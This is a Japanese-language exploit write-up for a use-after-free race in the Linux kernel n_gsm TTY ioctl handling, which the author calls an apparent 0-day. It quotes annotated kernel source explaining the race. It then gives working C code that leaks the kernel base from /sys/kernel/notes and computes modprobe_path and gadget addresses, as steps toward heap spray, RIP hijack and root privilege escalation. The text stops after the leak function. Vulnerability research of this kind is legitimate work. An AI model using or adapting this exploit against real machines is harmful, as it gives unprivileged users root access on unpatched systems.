
Linuxカーネル n_gsm TTY ioctl の use-after-free 脆弱性を悪用する PoC: 競合状態の分析、カーネルベースのリーク、ヒープスプレー、RIP ハイジャック、任意書き込み、および modprobe_path による権限昇格。
これはまだ0-dayのようです。脆弱性が修正される前にこのエクスプロイトを公開するつもりはありませんでしたが、同じ脆弱性を発見した別の研究者によって0-dayエクスプロイトが公開されたため、私のコードも公開しました。研究目的でのみ使用してください。
[1] GSMIOC_SETCONF: GSMの設定をリセットします。
[2] GSMIOC_GETCONF_DLCI: GSMに関連付けられたDLCI設定を取得します。
[3] GSMIOC_SETCONF_DLCI: GSMに関連付けられたDLCI設定を変更します。
static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
unsigned long arg)
{
...
case GSMIOC_SETCONF:
if (copy_from_user(&c, (void __user *)arg, sizeof(c)))
return -EFAULT;
return gsm_config(gsm, &c);//[1]
....
case GSMIOC_GETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
gsm_dlci_copy_config_values(dlci, &dc);//[2]
if (copy_to_user((void __user *)arg, &dc, sizeof(dc)))
return -EFAULT;
return 0;
case GSMIOC_SETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
return gsm_dlci_config(dlci, &dc, 0);//[3]
default:
return n_tty_ioctl_helper(tty, cmd, arg);
}
}
まず、GSM の設定を変更する GSMIOC_SETCONF を検討します。
[1] GSM の現在の設定が新しい設定と異なる場合、need_restart が true に設定されます。
[2] need_restart が true の場合、現在の GSM は gsm_cleanup_mux を通じて終了されます。
static int gsm_config(struct gsm_mux *gsm, struct gsm_config *c)
{
int need_close = 0;
int need_restart = 0;
...
if (c->mtu != gsm->mtu)//[1]
need_restart = 1;
/*
* Close down what is needed, restart and initiate the new
* configuration. On the first time there is no DLCI[0]
* and closing or cleaning up is not necessary.
*/
if (need_close || need_restart)
gsm_cleanup_mux(gsm, true);//[2]
...
return 0;
}
[1] GSM が所有するすべての DLCI は gsm_dlci_release を通じて解放されます。
static void gsm_cleanup_mux(struct gsm_mux *gsm, bool disc)
{
int i;
struct gsm_dlci *dlci;
struct gsm_msg *txq, *ntxq;
gsm->dead = true;
mutex_lock(&gsm->mutex);
...
for (i = NUM_DLCI - 1; i >= 0; i--)
if (gsm->dlci[i]){
gsm_dlci_release(gsm->dlci[i]);//[1]
}
...
}
その後、関数は次の順序で呼び出されます:
[1] Use-After-Free(UAF)を防ぐため、NULL が gsm->dlci[addr] に代入されます。
[2] その後、gsm->dlci[addr] は kfree を使用して解放されます。
static void gsm_dlci_free(struct tty_port *port)
{
struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port);
timer_shutdown_sync(&dlci->t1);
dlci->gsm->dlci[dlci->addr] = NULL;//[1]
kfifo_free(&dlci->fifo);
while ((dlci->skb = skb_dequeue(&dlci->skb_list)))
dev_kfree_skb(dlci->skb);
kfree(dlci);//[2]
}
GSM が所有する DLCI の設定値を変更する GSMIOC_SETCONF_DLCI を見てみましょう。
[1] ユーザーからアドレス (addr) を含む DLCI 設定を読み取ります。
[2] gsm->dlci[addr] を参照します。
[3] gsm_dlci_config を呼び出して DLCI の設定を変更します。
static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
unsigned long arg)
{
...
case GSMIOC_SETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))//[1]
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];//[2]
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
return gsm_dlci_config(dlci, &dc, 0);//[3]
...
}
[1] ユーザーが渡したオプションに基づいて need_open を true に設定します。
[2] dlci->state が DLCI_CLOSED になるまで待機します。
[3] gsm->initiator のみが true の場合、DLCI を再起動するために gsm_dlci_begin_open 関数が呼び出されます。
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
struct gsm_mux *gsm;
bool need_restart = false;
bool need_open = false;
unsigned int i;
...
if (dc->flags & GSM_FL_RESTART)
need_restart = true;
if ((open && gsm->wait_config) || need_restart)//[1]
need_open = true;
if (dlci->state == DLCI_WAITING_CONFIG) {
need_restart = false;
need_open = true;
}
/*
* Close down what is needed, restart and initiate the new
* configuration.
*/
if (need_restart) {
gsm_dlci_begin_close(dlci);
wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[2]
if (signal_pending(current))
return -EINTR;
}
...
if (need_open) {
if (gsm->initiator)
gsm_dlci_begin_open(dlci);//[3]
else
gsm_dlci_set_opening(dlci);
}
return 0;
}
[1] ロックなしで gsm->dlci にアクセスします。
[1] gsm_dlci_config は dlci にアクセスします。GSMIOC_SETCONF により gsm_cleanup_mux が呼び出された場合、競合状態によって Use-After-Free (UAF) が発生する可能性があります。
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
/*
* Close down what is needed, restart and initiate the new
* configuration.
*/
if (need_restart) {
gsm_dlci_begin_close(dlci);
wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
if (signal_pending(current))
return -EINTR;
}
...
unsigned long get_kernel_base(){
const char *filePath = "/sys/kernel/notes";
const char pattern[] = "Xen\\x00";
FILE *file;
uint8_t buffer[1024];
size_t bytesRead;
int found = 0;
file = fopen(filePath, "rb");
if (!file) {
perror("File open failed");
return EXIT_FAILURE;
}
int count = 0;
unsigned long hypercall_page=0;
while ((bytesRead = fread(buffer, 1, sizeof(buffer), file)) > 0 && !found) {
for (int i = 0; i < bytesRead - sizeof(pattern); ++i) {
if (memcmp(buffer + i, pattern, sizeof(pattern) - 1) == 0) {
if (i + sizeof(pattern) - 1 + 8 <= bytesRead) {
uint64_t value;
memcpy(&value, buffer + i + sizeof(pattern) - 1, 8);
if(value != 0xffffffff80000000 && (value &0xfff) == 0 && (value&0xffff000000000000)){
hypercall_page=value;
break;
}
}
}
}
}
if(hypercall_page==0){
printf("fail to get hypercall_page\\n");
exit(1);
}
kernel_base = hypercall_page - 0x1119000;
modprobe_path = kernel_base + 0x23d8960;
kernfs_pr_cont_buf = kernel_base +0x3910d00;
__rb_free_aux = kernel_base + 0x37ac90;
perf_aux_output_end = kernel_base + 0x37bf20;
printf("hypercall_page: 0x%lx\\n", hypercall_page);
printf("kernel_base = 0x%lx\\n",kernel_base);
printf("modprobe_path = 0x%lx\\n",modprobe_path);
printf("__rb_free_aux = 0x%lx\\n",__rb_free_aux);
printf("kernfs_pr_cont_buf = 0x%lx\\n",kernfs_pr_cont_buf);
fclose(file);
return EXIT_SUCCESS;
}